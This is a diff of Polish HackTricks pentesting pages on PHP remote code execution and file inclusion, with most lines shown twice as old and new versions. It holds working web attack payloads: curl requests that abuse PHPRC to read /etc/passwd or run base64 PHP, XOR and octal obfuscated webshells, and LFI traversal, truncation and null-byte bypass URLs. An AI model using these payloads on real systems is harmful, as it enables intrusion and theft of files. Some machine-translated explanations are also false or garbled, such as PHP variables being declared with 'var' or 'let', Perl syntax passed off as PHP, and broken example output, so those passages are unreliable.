Jeśli znajdziesz podatność, która pozwala Ci **modyfikować zmienne środowiskowe w PHP** (i inną do wgrywania plików, chociaż po dokładniejszym zbadaniu może to zostać obejścione), możesz wykorzystać to zachowanie do uzyskania **RCE**.
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Ta zmienna środowiskowa pozwala na ładowanie dowolnych bibliotek podczas wykonywania innych binarnych plików (choć w tym przypadku może nie działać).
* **`PHPRC`** : Wskazuje PHP, **gdzie znajduje się plik konfiguracyjny**, zwykle nazywany `php.ini`. Jeśli możesz przesłać własny plik konfiguracyjny, użyj `PHPRC`, aby wskazać PHP na niego. Dodaj wpis **`auto_prepend_file`**, wskazujący na drugi przesłany plik. Ten drugi plik zawiera normalny **kod PHP, który jest następnie wykonywany** przez środowisko wykonawcze PHP przed innym kodem.
1. Prześlij plik PHP zawierający nasz kod powłoki
2. Prześlij drugi plik zawierający dyrektywę **`auto_prepend_file`**, instruującą preprocesor PHP do wykonania pliku przesłanego w kroku 1
3. Ustaw zmienną `PHPRC` na plik przesłany w kroku 2.
* Uzyskaj więcej informacji na temat wykonania tego łańcucha [**z oryginalnego raportu**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
* **PHPRC** - inna opcja
* Jeśli **nie możesz przesyłać plików**, możesz użyć w FreeBSD pliku "/dev/fd/0", który zawiera **`stdin`**, będący **treścią** żądania wysłanego do `stdin`:
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
* Lub aby uzyskać RCE, włącz **`allow_url_include`** i dodaj plik z **kodem PHP w formacie base64**:
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
* Technika [**z tego raportu**](https://vulncheck.com/blog/juniper-cve-2023-36845).
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Ta zmienna środowiskowa pozwala na ładowanie dowolnych bibliotek podczas wykonywania innych binariów (choć w tym przypadku może nie działać).
- **`PHPRC`** : Wskazuje PHP, **gdzie znajduje się plik konfiguracyjny**, zwykle nazywany `php.ini`. Jeśli możesz wgrać własny plik konfiguracyjny, użyj `PHPRC` aby wskazać PHP na niego. Dodaj wpis **`auto_prepend_file`** określający drugi wgrany plik. Ten drugi plik zawiera normalny **kod PHP, który jest następnie wykonywany** przez środowisko PHP przed jakimkolwiek innym kodem.
1. Wgraj plik PHP zawierający nasz kod powłoki
2. Wgraj drugi plik, zawierający dyrektywę **`auto_prepend_file`** instruującą preprocesor PHP do wykonania pliku, który wgraliśmy w kroku 1
3. Ustaw zmienną `PHPRC` na plik, który wgraliśmy w kroku 2.
- Uzyskaj więcej informacji na temat wykonania tego łańcucha [**z oryginalnego raportu**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
- **PHPRC** - kolejna opcja
- Jeśli **nie możesz wgrywać plików**, możesz użyć w FreeBSD "pliku" `/dev/fd/0`, który zawiera **`stdin`**, będący **treścią** żądania wysłanego do `stdin`:
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
- Lub aby uzyskać RCE, włącz **`allow_url_include`** i dodaj plik z **kodem PHP w base64**:
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
- Technika [**z tego raportu**](https://vulncheck.com/blog/juniper-cve-2023-36845).
## Statyczna analiza PHP
## Analiza statyczna PHP
Sprawdź, czy możesz wstawić kod w wywołania tych funkcji (z [tutaj](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)):
```php
@ -310,19 +281,19 @@ exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
```
Jeśli debugujesz aplikację PHP, możesz globalnie włączyć wyświetlanie błędów w pliku `/etc/php5/apache2/php.ini`, dodając `display_errors = On`, a następnie zrestartować Apache: `sudo systemctl restart apache2`
Jeśli debugujesz aplikację PHP, możesz globalnie włączyć drukowanie błędów w `/etc/php5/apache2/php.ini`, dodając `display_errors = On` i zrestartować apache: `sudo systemctl restart apache2`
### Deobfuskacja kodu PHP
Możesz użyć strony **www.unphp.net** do deobfuskacji kodu PHP.
Możesz użyć **strony internetowej** [**www.unphp.net**](http://www.unphp.net) **do deobfuskacji kodu PHP.**
## Wrapper-y i protokoły PHP
## Owińki i protokoły PHP
Wrapper-y i protokoły PHP mogą umożliwić obejście zabezpieczeń zapisu i odczytu w systemie oraz jego kompromitację. Aby uzyskać więcej informacji, sprawdź [tę stronę](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
Owińki i protokoły PHP mogą pozwolić Ci **obejść zabezpieczenia zapisu i odczytu** w systemie i go skompromitować. Aby uzyskać [**więcej informacji, sprawdź tę stronę**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
## Xdebug RCE bez uwierzytelnienia
## Xdebug nieuwierzytelniona RCE
Jeśli zauważysz, że **Xdebug** jest **włączony** w wyniku polecenia `phpconfig()`, spróbuj uzyskać zdalne wykonanie kodu za pomocą [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
Jeśli zobaczysz, że **Xdebug** jest **włączony** w wyniku `phpconfig()`, powinieneś spróbować uzyskać RCE za pomocą [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
## Zmienne zmiennych
```php
@ -336,11 +307,11 @@ echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
```
## Wykorzystywanie RCE za pomocą $\_GET\["a"]\($\_GET\["b"])
## RCE wykorzystujące nowe $\_GET\["a"]\($\_GET\["b"])
Jeśli na stronie możesz **utworzyć nowy obiekt dowolnej klasy**, możesz być w stanie uzyskać RCE, sprawdź następującą stronę, aby dowiedzieć się jak:
Jeśli na stronie możesz **utworzyć nowy obiekt dowolnej klasy**, możesz być w stanie uzyskać RCE, sprawdź następną stronę, aby dowiedzieć się jak:
{% content-ref url="php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md" %}
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
{% endcontent-ref %}
@ -348,58 +319,29 @@ Jeśli na stronie możesz **utworzyć nowy obiekt dowolnej klasy**, możesz być
[https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/)
### Użycie ósemkowego systemu liczbowego
### Użycie ósemkowego
```php
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
```
### **XOR**
XOR (Exclusive OR) jest operatorem logicznym, który wykonuje operację bitową na dwóch operandach. Wynik XOR jest prawdziwy tylko wtedy, gdy jeden z operandów jest prawdziwy, a drugi jest fałszywy. W kontekście programowania, XOR jest często używany do szyfrowania i deszyfrowania danych.
W PHP, operator XOR jest reprezentowany przez symbol `^`. Może być używany do wykonywania operacji XOR na dwóch liczbach lub na dwóch ciągach znaków. Jeśli operandy są liczbami, XOR zostanie wykonane na ich binarnych reprezentacjach. Jeśli operandy są ciągami znaków, XOR zostanie wykonane na ich kodach ASCII.
Przykład użycia operatora XOR w PHP:
```php
$number1 = 10;
$number2 = 5;
$result = $number1 ^ $number2;
echo $result; // Output: 15
$string1 = "Hello";
$string2 = "World";
$result = $string1 ^ $string2;
echo $result; // Output: 
```
W powyższym przykładzie, wynik operacji XOR dla liczb 10 i 5 wynosi 15. Wynik operacji XOR dla ciągów znaków "Hello" i "World" to ciąg znaków o kodach ASCII .
Operator XOR może być również używany do prostego szyfrowania i deszyfrowania danych. Na przykład, możemy zaszyfrować ciąg znaków, wykonując operację XOR na jego kodach ASCII i kluczu, a następnie odszyfrować go wykonując operację XOR na zaszyfrowanym ciągu i tym samym kluczu.
```php
$string = "Secret message";
$key = "Key";
$encrypted = $string ^ $key;
echo $encrypted; // Output: \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\
XOR (exclusive OR) is a bitwise operation that is commonly used in cryptography and programming. In XOR operation, the result is true only when the inputs differ (one is true, the other is false). XOR can be used in various ways in programming and encryption to manipulate data and create secure algorithms.
```php
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
```
### XOR łatwy kod powłoki
### Kod powłoki XOR
Zgodnie z [**tym opisem**](https://mgp25.com/ctf/Web-challenge/), można wygenerować łatwy kod powłoki w ten sposób:
Zgodnie z [**tym opisem**](https://mgp25.com/ctf/Web-challenge/), można wygenerować prosty kod powłoki w ten sposób:
```php
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
```
Więc jeśli możesz **wykonać dowolny kod PHP bez użycia cyfr i liter**, możesz wysłać żądanie, wykorzystując taki ładunek, aby wykonać dowolny kod PHP:
Więc jeśli możesz **wykonać dowolne polecenie PHP bez liczb i liter**, możesz wysłać żądanie, jak poniżej, nadużywając tego ładunku, aby wykonać dowolne polecenie PHP:
```
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
@ -428,65 +370,7 @@ lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
```php
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
```
### Perl podobny
Perl jest językiem programowania, który jest często wykorzystywany w skryptach CGI (Common Gateway Interface) do tworzenia dynamicznych stron internetowych. Jeśli jesteś programistą, który zna Perl, możesz wykorzystać swoją wiedzę w celu pisania skryptów PHP w podobny sposób.
Oto kilka wskazówek, które pomogą Ci pisać kod PHP w stylu Perl:
#### Zmienne
W Perl, deklaracja zmiennej nie jest wymagana. Możesz po prostu przypisać wartość do zmiennej i używać jej w kodzie. W PHP, zaleca się jednak deklarowanie zmiennych przed ich użyciem. Możesz to zrobić za pomocą słowa kluczowego `var` lub `let`.
```php
$zmienna = "Witaj, świecie!";
echo $zmienna;
```
#### Tablice
W Perl, tablice są dynamiczne i nie musisz określać ich rozmiaru podczas deklaracji. W PHP, możesz użyć funkcji `array()` lub skróconej składni `[]` do tworzenia tablic.
```php
@tablica = ("jabłko", "banan", "pomarańcza");
echo $tablica[0]; // wyświetli "jabłko"
```
#### Pętle
W Perl, pętla `foreach` jest często używana do iteracji po elementach tablicy. W PHP, możesz użyć pętli `foreach` lub pętli `for` do tego samego celu.
```php
@tablica = ("jabłko", "banan", "pomarańcza");
foreach ($tablica as $element) {
echo $element;
}
```
#### Wyrażenia regularne
W Perl, wyrażenia regularne są często używane do manipulacji i przetwarzania tekstów. W PHP, możesz użyć funkcji takich jak `preg_match()` lub `preg_replace()` do pracy z wyrażeniami regularnymi.
```php
$tekst = "Witaj, świecie!";
if (preg_match("/świecie/", $tekst)) {
echo "Znaleziono dopasowanie!";
}
```
#### Funkcje
W Perl, funkcje są definiowane za pomocą słowa kluczowego `sub`. W PHP, możesz użyć słowa kluczowego `function` do definiowania funkcji.
```php
function powitanie($imie) {
echo "Witaj, $imie!";
}
powitanie("Jan"); // wyświetli "Witaj, Jan!"
```
Pamiętaj, że choć PHP i Perl mają wiele podobieństw, istnieją również różnice w składni i funkcjonalności. Ważne jest, aby być świadomym tych różnic i dostosować swój kod odpowiednio.
### Podobne do Perla
```php
<?php
$_=[];
@ -530,10 +414,10 @@ $___($_[_]); // ASSERT($_POST[_]);
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
</details>

417
pentesting-web/file-inclusion/README.md
View file

@ -6,39 +6,39 @@
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami nagród za błędy!
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami błędów!
**Spostrzeżenia dotyczące hakerstwa**\
Zajmuj się treściami, które zagłębiają się w emocje i wyzwania hakerstwa
**Wgląd w Hacking**\
Zajmij się treściami, które zagłębiają się w emocje i wyzwania hakerstwa
**Aktualności na żywo o hakerstwie**\
Bądź na bieżąco z szybkim tempem świata hakerstwa dzięki aktualnym wiadomościom i spostrzeżeniom
**Aktualności z Hackingu na Żywo**\
Bądź na bieżąco z szybkim tempem świata hakerstwa dzięki aktualnościom i wglądom w czasie rzeczywistym
**Najnowsze ogłoszenia**\
Bądź na bieżąco z najnowszymi programami bug bounty i ważnymi aktualizacjami platformy
**Najnowsze Ogłoszenia**\
Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacjami platformy
**Dołącz do nas na** [**Discordzie**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś!
## Włączenie pliku
**Zdalne włączenie pliku (RFI):** Plik jest ładowany z zdalnego serwera (najlepiej: możesz napisać kod, a serwer go wykonuje). W php jest to **wyłączone** domyślnie (**allow\_url\_include**).\
**Lokalne włączenie pliku (LFI):** Serwer ładuje lokalny plik.
**Zdalne Włączenie Pliku (RFI):** Plik jest ładowany z zdalnego serwera (Najlepiej: Możesz napisać kod, a serwer go wykonuje). W php jest to **wyłączone** domyślnie (**allow\_url\_include**).\
**Lokalne Włączenie Pliku (LFI):** Serwer ładuje lokalny plik.
Podatność występuje, gdy użytkownik w jakiś sposób może kontrolować plik, który zostanie załadowany przez serwer.
Podatność występuje, gdy użytkownik w jakiś sposób może kontrolować plik, który ma zostać załadowany przez serwer.
Podatne **funkcje PHP**: require, require\_once, include, include\_once
Ciekawe narzędzie do wykorzystania tej podatności: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
Interesujące narzędzie do wykorzystania tej podatności: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Ślepe - Interesujące - Pliki LFI2RCE
```python
@ -46,14 +46,14 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
```
### **Linux**
**Połączenie kilku list LFI dla systemów \*nix i dodanie kolejnych ścieżek stworzyło tę listę:**
**Mieszając kilka list LFI dla systemów \*nix i dodając więcej ścieżek, stworzyłem tę listę:**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
Spróbuj również zmienić `/` na `\`\
Spróbuj również zamienić `/` na `\`\
Spróbuj również dodać `../../../../../`
Listę, która wykorzystuje kilka technik do znalezienia pliku /etc/password (w celu sprawdzenia, czy istnieje podatność), można znaleźć [tutaj](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
Listę, która wykorzystuje kilka technik do znalezienia pliku /etc/password (aby sprawdzić, czy istnieje podatność), można znaleźć [tutaj](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
### **Windows**
@ -61,10 +61,10 @@ Połączenie różnych list słów:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
Spróbuj również zmienić `/` na `\`\
Spróbuj również zamienić `/` na `\`\
Spróbuj również usunąć `C:/` i dodać `../../../../../`
Listę, która wykorzystuje kilka technik do znalezienia pliku /boot.ini (w celu sprawdzenia, czy istnieje podatność), można znaleźć [tutaj](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
Listę, która wykorzystuje kilka technik do znalezienia pliku /boot.ini (aby sprawdzić, czy istnieje podatność), można znaleźć [tutaj](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
### **OS X**
@ -72,39 +72,11 @@ Sprawdź listę LFI dla systemu Linux.
## Podstawowe LFI i bypassy
Wszystkie przykłady dotyczą lokalnego włączenia pliku (Local File Inclusion), ale mogą być również stosowane do zdalnego włączenia pliku (Remote File Inclusion) (strona=[http://myserver.com/phpshellcode.txt\\](http://myserver.com/phpshellcode.txt\)/).
Wszystkie przykłady dotyczą lokalnego włączenia pliku, ale mogą być również stosowane do zdalnego włączenia pliku (strona=[http://myserver.com/phpshellcode.txt\\](http://myserver.com/phpshellcode.txt\)/).
```
http://example.com/index.php?page=../../../etc/passwd
```
### sekwencje przechodzenia usunięte nierekurencyjnie
When performing file inclusion attacks, it is common to encounter input validation mechanisms that strip traversal sequences (such as "../" or "..\") from user-supplied input. These mechanisms are implemented to prevent directory traversal attacks. However, they are often implemented in a non-recursive manner, which means that they only remove one occurrence of the traversal sequence at a time.
Podczas wykonywania ataków na włączanie plików często spotyka się mechanizmy walidacji danych wejściowych, które usuwają sekwencje przechodzenia (takie jak "../" lub "..\") z dostarczonych przez użytkownika danych. Mechanizmy te są stosowane w celu zapobiegania atakom polegającym na przechodzeniu po katalogach. Jednak często są one implementowane w sposób nierekurencyjny, co oznacza, że usuwają tylko jedno wystąpienie sekwencji przechodzenia na raz.
This behavior can be exploited by using multiple traversal sequences in a single request. By repeating the traversal sequence multiple times, it is possible to bypass the input validation mechanism and access files located in higher-level directories.
Takie zachowanie można wykorzystać, używając wielu sekwencji przechodzenia w jednym żądaniu. Poprzez wielokrotne powtarzanie sekwencji przechodzenia, możliwe jest obejście mechanizmu walidacji danych wejściowych i uzyskanie dostępu do plików znajdujących się w wyższych katalogach.
For example, if the input validation mechanism removes only one occurrence of "../" at a time, the following input could be used to bypass it:
Na przykład, jeśli mechanizm walidacji danych wejściowych usuwa tylko jedno wystąpienie "../" na raz, można użyć następującego wejścia, aby go obejść:
```
../../../etc/passwd
```
In this case, the input validation mechanism would remove the first occurrence of "../", resulting in the following path:
W tym przypadku mechanizm walidacji danych wejściowych usunąłby pierwsze wystąpienie "../", co spowodowałoby następującą ścieżkę:
```
../../etc/passwd
```
However, the second occurrence of "../" would not be removed, allowing the attacker to access the `/etc/passwd` file.
Jednak drugie wystąpienie "../" nie zostanie usunięte, co umożliwia atakującemu dostęp do pliku `/etc/passwd`.
### sekwencje trawersowania pozbawione rekurencyjnie
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
@ -112,11 +84,11 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte (%00)**
Bypassuj dodawanie dodatkowych znaków na końcu podanego ciągu (bypass: $\_GET\['param']."php")
Ominięcie dodawania dodatkowych znaków na końcu podanego ciągu (ominięcie: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
To jest **rozwiązane od wersji PHP 5.4**
To jest **rozwiązane od PHP 5.4**
### **Kodowanie**
@ -133,43 +105,38 @@ Być może back-end sprawdza ścieżkę folderu:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Eksplorowanie katalogów systemu plików na serwerze
### Badanie katalogów systemu plików na serwerze
System plików serwera można eksplorować rekurencyjnie, aby zidentyfikować katalogi, a nie tylko pliki, za pomocą określonych technik. Proces ten polega na określeniu głębokości katalogu i sprawdzaniu istnienia określonych folderów. Poniżej przedstawiono szczegółową metodę osiągnięcia tego:
System plików serwera można badać rekurencyjnie, aby zidentyfikować katalogi, a nie tylko pliki, stosując określone techniki. Proces ten polega na określeniu głębokości katalogu i sprawdzaniu istnienia określonych folderów. Poniżej znajduje się szczegółowa metoda osiągnięcia tego:
1. **Określanie głębokości katalogu:**
Określ głębokość bieżącego katalogu, pobierając pomyślnie plik `/etc/passwd` (dotyczy to serwera opartego na systemie Linux). Przykładowy adres URL może być zbudowany w następujący sposób, wskazując głębokość trzy:
1. **Określenie głębokości katalogu:** Określ głębokość bieżącego katalogu, pobierając pomyślnie plik `/etc/passwd` (dotyczy to serwera opartego na systemie Linux). Przykładowy adres URL może być zbudowany w następujący sposób, wskazując na głębokość trzech:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **Sondowanie folderów:**
Dodaj nazwę podejrzanego folderu (np. `private`) do adresu URL, a następnie przejdź do `/etc/passwd`. Dodatkowy poziom katalogu wymaga zwiększenia głębokości o jeden:
2. **Sondowanie folderów:** Dołącz nazwę podejrzanego folderu (np. `private`) do adresu URL, a następnie przejdź z powrotem do `/etc/passwd`. Dodatkowy poziom katalogu wymaga zwiększenia głębokości o jeden:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **Interpretuj wyniki:**
Odpowiedź serwera wskazuje, czy folder istnieje:
- **Błąd / Brak wyniku:** Folder `private` prawdopodobnie nie istnieje pod wskazaną lokalizacją.
- **Zawartość `/etc/passwd`:** Potwierdza obecność folderu `private`.
3. **Odczytanie wyników:** Odpowiedź serwera wskazuje, czy folder istnieje:
* **Błąd / Brak wyniku:** Folder `private` prawdopodobnie nie istnieje pod wskazaną lokalizacją.
* **Zawartość `/etc/passwd`:** Potwierdza obecność folderu `private`.
4. **Rekursywne badanie:** Odkryte foldery można dalej sprawdzać pod kątem podfolderów lub plików, korzystając z tej samej techniki lub tradycyjnych metod Local File Inclusion (LFI).
4. **Rekurencyjne badanie:**
Odkryte foldery można dalej badać pod kątem podfolderów lub plików, korzystając z tej samej techniki lub tradycyjnych metod Local File Inclusion (LFI).
Aby badać foldery w różnych lokalizacjach w systemie plików, dostosuj ładunek odpowiednio. Na przykład, aby sprawdzić, czy `/var/www/` zawiera folder `private` (przy założeniu, że bieżący folder znajduje się na głębokości 3), użyj:
Aby badać katalogi w różnych lokalizacjach w systemie plików, dostosuj ładunek odpowiednio. Na przykład, aby sprawdzić, czy `/var/www/` zawiera katalog `private` (zakładając, że bieżący katalog znajduje się na głębokości 3), użyj:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Technika skracania ścieżki**
Skracanie ścieżki to metoda manipulacji ścieżkami plików w aplikacjach internetowych. Często jest używana do uzyskiwania dostępu do ograniczonych plików poprzez obejście pewnych środków bezpieczeństwa, które dodają dodatkowe znaki na końcu ścieżek plików. Celem jest stworzenie ścieżki pliku, która po zmodyfikowaniu przez środek bezpieczeństwa wciąż wskazuje na żądany plik.
Skracanie ścieżki to metoda wykorzystywana do manipulowania ścieżkami plików w aplikacjach internetowych. Często jest używana do uzyskiwania dostępu do ograniczonych plików poprzez obejście pewnych środków bezpieczeństwa, które dodają dodatkowe znaki na końcu ścieżki pliku. Celem jest stworzenie ścieżki pliku, która po zmianie przez środek bezpieczeństwa nadal wskazuje na żądany plik.
W PHP różne reprezentacje ścieżki pliku mogą być uważane za równoważne ze względu na charakter systemu plików. Na przykład:
W PHP różne reprezentacje ścieżki pliku mogą być uważane za równoważne ze względu na charakterystykę systemu plików. Na przykład:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd` i `/etc/passwd/` są traktowane jako ta sama ścieżka.
- Gdy ostatnie 6 znaków to `passwd`, dodanie `/` na końcu (tworząc `passwd/`) nie zmienia docelowego pliku.
- Podobnie, jeśli do ścieżki pliku (np. `shellcode.php`) dodamy `.php`, dodanie `/.` na końcu nie zmieni dostępu do pliku.
* `/etc/passwd`, `/etc//passwd`, `/etc/./passwd` i `/etc/passwd/` są traktowane jako ta sama ścieżka.
* Gdy ostatnie 6 znaków to `passwd`, dołączenie `/` (tworząc `passwd/`) nie zmienia docelowego pliku.
* Podobnie, jeśli do ścieżki pliku dodano `.php` (np. `shellcode.php`), dodanie `/.` na końcu nie zmieni dostępu do pliku.
Przedstawione przykłady demonstrują, jak wykorzystać skracanie ścieżki do uzyskania dostępu do `/etc/passwd`, powszechnego celu ze względu na swoją wrażliwą zawartość (informacje o kontach użytkowników):
Przedstawione przykłady pokazują, jak wykorzystać skracanie ścieżki do uzyskania dostępu do `/etc/passwd`, popularnego celu ze względu na swoją wrażliwą zawartość (informacje o kontach użytkowników):
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -179,22 +146,17 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
W tych scenariuszach liczba potrzebnych przemieszczeń może wynosić około 2027, ale ta liczba może się różnić w zależności od konfiguracji serwera.
W tych scenariuszach liczba potrzebnych traversals może wynosić około 2027, ale ta liczba może się różnić w zależności od konfiguracji serwera.
- **Używanie segmentów kropkowych i dodatkowych znaków**:
Sekwencje przemieszczeń (`../`) połączone z dodatkowymi segmentami kropkowymi i znakami mogą być używane do nawigacji po systemie plików, efektywnie ignorując dołączone ciągi przez serwer.
* **Użycie segmentów kropki i dodatkowych znaków**: Sekwencje traversals (`../`) połączone z dodatkowymi segmentami kropki i znakami mogą być używane do nawigacji po systemie plików, efektywnie ignorując dołączone ciągi przez serwer.
* **Określenie wymaganej liczby traversals**: Poprzez próbę i błąd można znaleźć dokładną liczbę sekwencji `../` potrzebną do nawigacji do katalogu głównego, a następnie do `/etc/passwd`, zapewniając, że wszelkie dołączone ciągi (np. `.php`) są zneutralizowane, ale żądana ścieżka (`/etc/passwd`) pozostaje nietknięta.
